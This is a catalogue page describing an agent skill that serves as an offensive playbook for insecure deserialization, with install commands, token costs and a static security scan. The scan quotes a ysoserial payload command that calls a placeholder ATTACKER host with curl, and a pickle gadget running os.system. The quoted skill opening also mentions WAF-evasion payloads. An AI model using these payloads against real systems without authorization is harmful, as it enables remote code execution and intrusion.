deserialization-insecure

deserialization-insecure is a skill for Claude Code, Codex from DorianGallo/hack-skills-local. It costs 52 tokens per session (6,558 once invoked), scanned A, a copy of deserialization-insecure, MIT.

A security-testing guide for insecure deserialization, where an application rebuilds objects from untrusted data. In Java, PHP, and Python, this can sometimes lead to code execution, file access, or higher privileges.

In plain words
What is it for?
Testing Java ObjectInputStream, PHP unserialize, Python pickle, and similar endpoints, including gadget-chain and framework-specific checks.
Why use it?
It helps distinguish a risky data-processing endpoint from one that has a usable path to compromise.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Testing Java ObjectInputStream, PHP unserialize, Python pickle, and similar endpoints, including gadget-chain and framework-specific checks.

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Install with agentmods
npx agentmods add skills/doriangallo/hack-skills-local/deserialization-insecure
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add DorianGallo/hack-skills-local --skill deserialization-insecure
Clone the repo
git clone --depth 1 https://github.com/DorianGallo/hack-skills-local

Made for: Claude Code, Codex.

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Per session 52 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 6,558 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00052 $0.06558
Opus 5 $0.00026 $0.03279
Sonnet 5 $0.00010 $0.01312
Haiku 4.5 $0.00005 $0.00656

Measured 8d ago against content hash 4304aacd259c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

deserialization-insecure scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ("id",))
Origin

This is a copy

100% identical to deserialization-insecure — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/deserialization-insecure/SKILL.md · 726 lines

How it starts

The opening of the file, as written. The whole thing — 726 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Insecure Deserialization — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.

  • jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
  • unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
  • ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson @type payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint

Advanced Reference

Also load JAVA_GADGET_CHAINS.md when you need:

  • Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
  • SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
  • Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
  • .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
  • Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
  • Detection fingerprints: magic bytes table by format (Java AC ED, .NET AAEAAD, Python pickle 80 0N, PHP O:, Ruby 04 08)

1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?

Java Serialized Objects

Indicator Where to Look
Hex ac ed 00 05 Raw binary in request/response body, cookies, POST params
Base64 rO0AB Cookies (rememberMe), hidden form fields, JWT claims
Content-Type: application/x-java-serialized-object HTTP headers
T3/IIOP protocol traffic WebLogic ports (7001, 7002)

Read the full file on GitHub · 726 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 726 lines · 52 tokens per session scan A 4304aacd259c

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deserialization-insecure is a skill published in the GitHub repository DorianGallo/hack-skills-local (5 stars, last pushed 3mo ago), licensed MIT. It adds 52 tokens to every session and 6,558 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 100% identical to deserialization-insecure, differing in 0 lines, and is treated as a copy.

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